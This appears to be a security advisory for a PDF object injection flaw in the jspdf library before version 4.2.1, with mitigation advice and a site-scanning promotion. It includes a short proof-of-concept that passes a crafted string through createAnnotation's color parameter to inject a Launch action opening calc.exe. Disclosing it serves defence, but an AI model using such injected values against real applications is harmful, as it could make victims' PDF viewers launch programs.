| Package | Affected versions | Patched versions |
|---|---|---|
| jspdf | < 4.2.1 | 4.2.1 |
| jspdf | < 4.2.1 | 4.2.1 |
User control of arguments of the createAnnotation method allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to the following method, a user can inject arbitrary PDF objects, such as JavaScript actions, which might trigger when the PDF is opened or interacted with..
createAnnotation: color parameterExample attack vector:
import { jsPDF } from 'jspdf'
const doc = new jsPDF();
const payload = '000000) /AA <</E <</S /Launch /F (calc.exe)>>>> (';
doc.createAnnotation({
type: 'freetext',
bounds: { x: 10, y: 10, w: 120, h: 20 },
contents: 'hello',
color: payload
});
doc.save('test.pdf');
The vulnerability has been fixed in [email protected].
Sanitize user input before passing it to the vulnerable API members.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free